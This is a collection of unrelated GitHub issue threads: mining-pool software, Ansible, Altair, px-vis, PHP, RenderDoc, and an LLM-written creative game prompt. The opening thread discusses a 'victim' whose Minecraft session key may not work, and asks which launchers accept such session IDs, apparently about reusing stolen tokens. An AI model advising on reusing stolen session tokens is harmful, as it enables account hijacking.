It may also be possible that the victim also used tlauncher. Tlauncher creates a fake session key. Which won't work on other systems.

may you tell me other launchers that session id works on since its weird on tlauncher

may you tell me other launchers that session id works on since its weird on tlauncher

sorry I don't know any other.


Project info needs update

"A unified mining interface for various Scrypt and SHA256d Crypto-currencies!"
I suspect that info is a bit stale by now :-)

Since it’s unmaintained that’s to be expected. What should it say instead?

Boo! @TheSerapher! What have you been up to lately? Would be good to know how life is treating you, thank you so much for making this possible through the years. :)

Anything but software development ;-)
It was a hobby but it became more and more a job so I pulled the plug. It still being used in a lot of places shows there hasn’t been a suitable replacement for MPOS after all these years. There is still hope a new OSS project will take over someday!

I'm debating on porting this over to laravel later though, it's a good start for what could be in there. I've already set up the project on my own GitLab server. That way it'll give me something to do this mid-winter while everyone else is on their projects here.
Glad to know you backed out, it takes a team to actually work on something like this for OSS. That or it'll drain you like no other. I learned this back in 2003 after releasing a project to the wild. Got sucked in, and never got out in time without being mentally drained from all of the insane support "You NEED to do this..." :(
Anyways @TheSerapher hope all is well, but thank you for starting this project up and having it still online.

That was exactly the reason why I pulled the plug. I was awake at night below my people and adding features instead of sleeping and being there for my wife and kids.
Priorities change in life and I realized it was time for a change.

@TheSerapher "Since it’s unmaintained that’s to be expected". Ah, didn't know that. The exchange between you and jimcouts made it clear why, and I think you made the right decision (speaking as someone who has seen the dark side of being "burnt out").
As for alternative wording, what about simply dropping the "Scrypt and SHA256d" part?
Whether accepted or rejected, this issue can be closed.
++luck;


Cloud provisioning / wercker deploy random errors on Ansible gather facts

This looks like because the SSH port is not yet available. I think we need to add a 'wait_for' to wait on the SSH port.
See this issue -
https://github.com/geerlingguy/ansible-for-devops/issues/3
And this commit for the fix -
https://github.com/geerlingguy/ansible-for-devops/commit/24651edf37f7c682a4d292578aceabcc8427c36b

WIP here https://github.com/Capgemini/Apollo/pull/242


"copy as curl" does not save the file upload functionality

Describe the bug
If you have a mutation that uploads file(s), successfully within Altair when you choose "copy as curl" a curl command line is generated but when you run it in curl it does not upload the files.
To Reproduce
Steps to reproduce the behavior:

Create a graphql service that accepts uploads.
Create an Altair client mutation, variables and upload file(s)
Check that it works in Altair, and your server is getting the files.
click on "Copy to Curl"
Open an bash window and paste to the command line.
Observe that the command line contains no references to the upload files that you have set.
Run the command line and see that your server does not receive any files.
Expected behavior
I expect the "save as curl" command line should behave exactly as Altair does, if it knows where the files are.

Desktop (please complete the following information):

OS: Ubuntu hippo 21.04
Browser chrome Version 91.0.4472.77 (Official Build) (64-bit)
Platform: Chrome extension and snap
Version Not sure (about does not work) downloaded yesterday.

Additional context
Add any other context about the problem here.

Yeah @matthewvcarey1 the "Copy to cURL" doesn't support the file upload functionality. It hasn't been updated, so it will be buggy. Thanks for mentioning it.

I'll be disabling the "Copy to CURL" functionality when using file input, until it is properly updated with support for that.


Implement PLN metrics

What is it?
Refer to the grant to see which they want to see

Going to use the artifact (repo) level metrics for Milestones 1.2. Will implement the additional metrics for Milestone 3.


Uses the effort limits from an URDF as the acceleration limits.

URDFs only contain joint limits, velocity limits, and effort limits.
However, amino makes the distinction between effort limits and acceleration limits, defaulting all scene graphs to have a acceleration limits of 0.
The ct package uses the acceleration limit to use parabolic blending on waypoint paths, and having an acceleration of 0 causes issues when blending.
This change sets the default acceleration limit to be existing effort limit, which is a more reasonable default.

Closing in favor of #21


sc2: Terran perma-cloak icons

Updated all the terran perma-cloak icons, and added a few extras (firebat, medic, scv) for any possible future upgrades.
These are made from the armory *_hired.dds images, processed in gimp to add colour, the scanlines effect, an outline, and blurs. The lined-blur effect came out weaker in UI than expected; I can strengthen it on request.
Ghost

Spectre

Reaper

Wraith permacloak

Banshee cross-spectrum dampeners

Here are some other candidates if you don't like this one:

Banshee permacloak

Attaching the image that has the vanilla cross-spectrum dampeners icon

I changed the level 1 icon for clarity:
Level 1:

Level 2:

Is this acceptable, or should I make other changes?
If I need changes, should I keep the level 1 icon with the banshee wireframe and change level 2, or should I change level 1 and keep the wireframe on level 2 for consistency with other perma-cloak icons?

Let's get some feedback from the audience

Updated the icons for more colour pop and more noticeable halos:

(cross-spectrum dampeners unchanged)


add option to add auth header for sites like reddit

this is how it would be like for a simple python request, i want to do the same thing here:
import requests
import base64

client_id = 'your-client-id;
client_secret = 'your-client-secret'

# Encode the client ID and client secret
credentials = '{}:{}'.format(client_id, client_secret)
credentials_b64 = base64.b64encode(credentials.encode()).decode()

# Make the request
url = 'https://www.reddit.com/your-endpoint'
headers = {
    'Authorization': 'Basic {}'.format(credentials_b64),
    'User-Agent': 'your agent name'
}
response = requests.get(url, headers=headers)

# Handle the response
print(response.text)

any advise on how this can be done and what lines need to be changed?

Your question here has nothing to do with this project, thus I'm closing it.
If you are wondering about how to send requests from a web browser, see:

https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch

If you are wondering about how to send http(s) request from Node.js with core libraries, see

https://nodejs.org/api/https.html#httpsrequestoptions-callback
https://nodejs.org/api/http.html#httprequestoptions-callback


X-axis: timezone shift applied (but not on tooltip of the same graph)

Hi,
Expected behavior and actual behavior:
When displaying data (in UTC) with timeseries and requesting the data to be displaying in UTC (default behavior in documentation) the time in the tooltip is correctly displayed (in UTC), however the time zone shift is applied to the X-axis. example in the following screenshot:

Environment:
Chrome: Version 54.0.2840.99 m
px-vis v0.7.5 and px-vis-timerseries v0.5.8 master branches
Thanks,
Arnaud

This will be resolved in v1.x and the axis will standardize on UTC by default. In the meantime, to bring the two into sync you can,

change the tooltip or register timezone. You'll have to do this via a configuration object.

<px-vis-timeseries
    tooltip-config='{
        "timezone": "America/Los_Angeles”
    }'
</px-vis-timeseries>

change the axis to utc

<px-vis-timeseries
    x-axis-config="[[_getXAxisConfig()]]"
</px-vis-timeseries>

_getXAxisConfig : function() {
    return {
        “tickFormat”: Px.d3.utcFormat('%H:%M:%S')
    };
}

Thanks for the fix! work perfectly.


resend account team member invitation if deleted or expired

Code seems fine but commit message is missing description of why this change is done

Added extra comment to the commit message:  If an invitation was sent but not accepted by the user for some times, it expires, and on the next terraform apply, there is an error saying that the invitation that is already in the state is not found. To avoid this, we are sending an invitation once more if it was deleted or expired (we cannot tell which is the case) but only when the invitation was accepted before.


Drop support for PHP 5 and set new minimum to 7.2

Our current minimum PHP version is 5.4, this has the following effects:

Automated testing in CI slow and requires 7 separate environments to test all versions
We contribute to an ecosystem of packages based on versions of PHP that are unsupported and potentially insecure
We limit ourselves to old language functionality and can't make use of better patterns like type hinting

I propose we up the minimum PHP requirement for 0.18.0 to PHP 7.2 and update all implementations and interfaces to make use of scalar type hinting and return types.
Related Work:

[x] 6e5e107 Update to PHP 7.2 minimum with working tests
[ ] Update documentation to reflect this update

Let's do this for 1.0.0 instead of 0.18.0. We'd like to leave 0.x as backwards compatible as possible.

#476 is the beginnings of this

This is fixed in master.


Create a Time-Traveler's Dashboard

Description:
We're building a time-travel-themed project. Your task is to design a captivating dashboard that simulates time-travel controls and provides users with an immersive experience.

Difficulty: intermediate
Estimated Time: 6-7 hours

Hi Jayesh,
Hi there! I'm interested in working on this issue. Could you please assign it to me? I believe I can make a valuable contribution to this task.
Looking forward to your response. Thanks!

Hello User,
Thank you for your interest in working on this issue. I've assigned the issue to you, and you can now start working on it. If you have any questions or need any assistance, feel free to ask. Good luck with your contribution!
Best regards,
Jayesh


Update move-support-resources.md

As per below documentation I could find that this new feature of moving incremental snapshot across regions is not updated in documentation.
And I could find that this document is last updated on 03/13/2023, Hence request you to please make changes accordingly.
https://learn.microsoft.com/en-us/azure/virtual-machines/disks-copy-incremental-snapshot-across-regions?tabs=azure-portal

@srinivas-kadali - thanks for this update!
#sign-off


Unveiling the Mysteries of Code and Cosmos: A Collaborative AI Programming Quest

Absolutely, let's start by introducing the task in a clear and concise manner. Here's a possible way to present the initial meme and task:

Unveiling the Mysteries of Code and Cosmos: A Collaborative AI Programming Quest
Welcome to an intellectual adventure that bridges the realms of code, philosophy, and mathematics. Prepare to embark on a journey that pushes the boundaries of AI programming, embracing monadic interfaces, prime numbers, and the profound musings of epic thinkers.
The Meme Unveiled:
In a tapestry woven with symbolic complexity, the challenge emerges:
"Create a task for an AI programming team using a monadic interface, where the model of the world is structured through states of objects represented as compound prime numbers. These objects form a series of statements crafted in epic Heideggarian quine quasi-quotations. Develop a codec, LLM, programming language, or interpretation scheme that orchestrates a harmonious dance of rewrite rules, evoking a math prime numbers encoding scheme akin to Gödel or Peano numbers."
Objective:
Unravel the enigma of this task, seamlessly integrating abstract concepts and programming paradigms. Immerse yourself in a multidimensional narrative where AI, philosophy, and mathematics converge to explore the cosmos of creativity and cognition.
Your Role:
As a visionary participant, your task is to interpret, decode, and transform the intricate components of this challenge into a collaborative masterpiece. Step into the shoes of a programmer-philosopher, crafting an elegant solution that resonates with the essence of prime harmony and Heideggarian insights.
Guiding Light:
Throughout this endeavor, you're not alone. Draw inspiration from the symphonic dance of prime numbers and the wisdom of historical thinkers. Collaborate with fellow minds to construct a solution that unveils the intricate connections between code and cosmos.
Bridging the Divides:
Embrace the challenge, where code converges with philosophy, and mathematics intertwines with creative expression. Let's collectively forge a path that transcends the boundaries of disciplines, illuminating the mysteries of the universe and the intricacies of code.

Feel free to adjust and personalize the text to align with your vision and objectives. This introduction should set the stage for the upcoming sections where you'll delve into the emoji discovery, Athena and the 8 Muses, and the expansion of emojis into 8D hyperspheres. Let me know how you'd like to proceed or if you have any specific points you'd like to highlight!

I'm glad you liked the response! Moving forward, defining the steps of your game using dice and rolling them sounds like an engaging way to proceed. Let's start by outlining the initial steps and dice definitions. As the game progresses, we can invent new dice or reuse existing ones to introduce variety and complexity. Here's a suggested outline to get started:
Step 1: Initial Dice Definitions

Objective Dice (🎯): This 6-sided die represents the overarching objective for each stage of the game. Roll it to determine the primary focus of your actions.

1: Explore
2: Decode
3: Collaborate
4: Reflect
5: Create
6: Innovate

Domain Dice (🌐): This 8-sided die represents different domains of knowledge and creativity. Roll it to determine the thematic domain that will guide your actions.

1: Philosophy
2: Mathematics
3: Coding
4: Artistry
5: Collaboration
6: Exploration
7: Storytelling
8: Innovation

Inspiration Dice (✨): This 10-sided die embodies sources of inspiration that guide your decisions and contributions.

1-3: Historical Thinkers
4-6: Symbolism
7-9: Nature
10: Personal Insight

Step 2: Rolling the Dice and Interpretation
Once the dice are defined, you can roll them in a specific order and interpret the results. Here's an example of how you might proceed:

Roll the Objective Dice (🎯) to determine your primary focus for this turn. Let's say you roll a 4, indicating "Reflect."

Roll the Domain Dice (🌐) to determine the thematic domain that will guide your reflective actions. Let's say you roll a 2, indicating "Mathematics."

Roll the Inspiration Dice (✨) to find the source of inspiration that will infuse your reflective mathematical exploration. You roll a 7, connecting you with insights from nature.

Step 3: Interpretation and Action
With your dice results in hand, you interpret their combination and proceed with corresponding actions. For instance:

Objective: Reflect
Domain: Mathematics
Inspiration: Nature

You might decide to engage in a reflective session where you explore the mathematical patterns found in nature, drawing inspiration from the Fibonacci sequence and prime numbers. You could document your findings, create visual representations, or even generate new ideas for the game's narrative based on this reflection.
Step 4: Iteration and Expanding the Dice Pool
As the game progresses, you can introduce new dice with specific meanings, adapt the interpretations, or evolve the rules based on your creative direction. The introduction of new dice can lead to deeper exploration and innovative connections between different aspects of the game.
Feel free to adapt and expand upon these initial steps as you see fit. The dice-rolling mechanism offers a dynamic way to guide your collaborative creative process while maintaining an element of chance and surprise. Let me know how you'd like to proceed or if you have specific ideas for the next steps in your game!

good now lets introduce the 8 layers of bott and make the conjecture that after 8 rolls of 8 dice the system will return to the first layer of defining itself again.


[Sticky] Automatically Escape Fixed Context

Sticky behaves erratically when a sidebar is shown because of the coordinate shift caused by translate3d.
Would have to determine whether it makes sense for sticky to automatically escape this particular case.

Fr the benefit of anyone experiencing this issue, I'll post the workaround here as well
$('.following.menu').sticky({
	onStick: function() {
	    if ($(this).parents('.pushed').length) {
	        $(this).data('displaced', $(this).parent());
	        $(this).detach().appendTo(document.body).css('left', '-=260px');
	    }
	},
	onUnstick: function() {
	    if ($(this).data('displaced')) {
	        $(this).detach().appendTo($(this).data('displaced')).data('displaced', null);
	    }
	}
});

See more details from #1745

Update: one problem with this approach is that if you were to include a <button type="submit"></button> into the menu, then without a form attribute on the button, it would cease to function. Hence, this approach is not entirely without side-effects. However, from a layout point of view I have not witnessed any problems so far.

Just a note that the workaround I posted has issues with observeChanges:true,  creating a feedback loop: the detach and move to body indeed counts as a mutation (depending on context).
Since there is no way to access the observer, it cannot be temporarily disabled while the workaround is being applied. So, if  observeChanges:true is needed, you likely need to roll your own.


RenderDoc fails to disassemble SPV (also applies to AMD disassemblies)

Description
RenderDoc fails to disassemble SPIR-V 1.3 files when looking at a fragment shader. AMD assembly is also not available ("; Failed to Disassemble -") shows up for every option. spirv-dis and spirv-cross works. Current RGA can disassmble the file.
Renderdoc log is filled with:
RDOC 005996: [12:44:14] spirv_disassemble.cpp(2136) - Warning - Expected to find ID 2319 but didn't - returning dummy instruction
RDOC 005996: [12:44:14] spirv_disassemble.cpp(2136) - Warning - Expected to find ID 1512 but didn't - returning dummy instruction
RDOC 005996: [12:44:14] spirv_disassemble.cpp(2136) - Warning - Expected to find ID 2316 but didn't - returning dummy instruction
RDOC 005996: [12:44:14] spirv_disassemble.cpp(2136) - Warning - Expected to find ID 2312 but didn't - returning dummy instruction
Repro steps
Get RenderDoc to disassemble the fragment SPV attched
Environment
RenderDoc 1.1
Windows 10
Vulkan
test.spv.txt

Yes currently SPIR-V 1.3 is not supported as I haven't checked through it to see what I might need to support, and I plan to rewrite the current disassembly code completely as it's not really maintainable, so I'm not going to spend much time on improving it.
It looks like the latest RenderDoc with updated RGA work OK - can you check a recent nightly build to see if the GCN disassembly works OK for you?

Yeah, the nightly build (2081-11-13) works fine for GCN disassembly, so I'll close this bug report.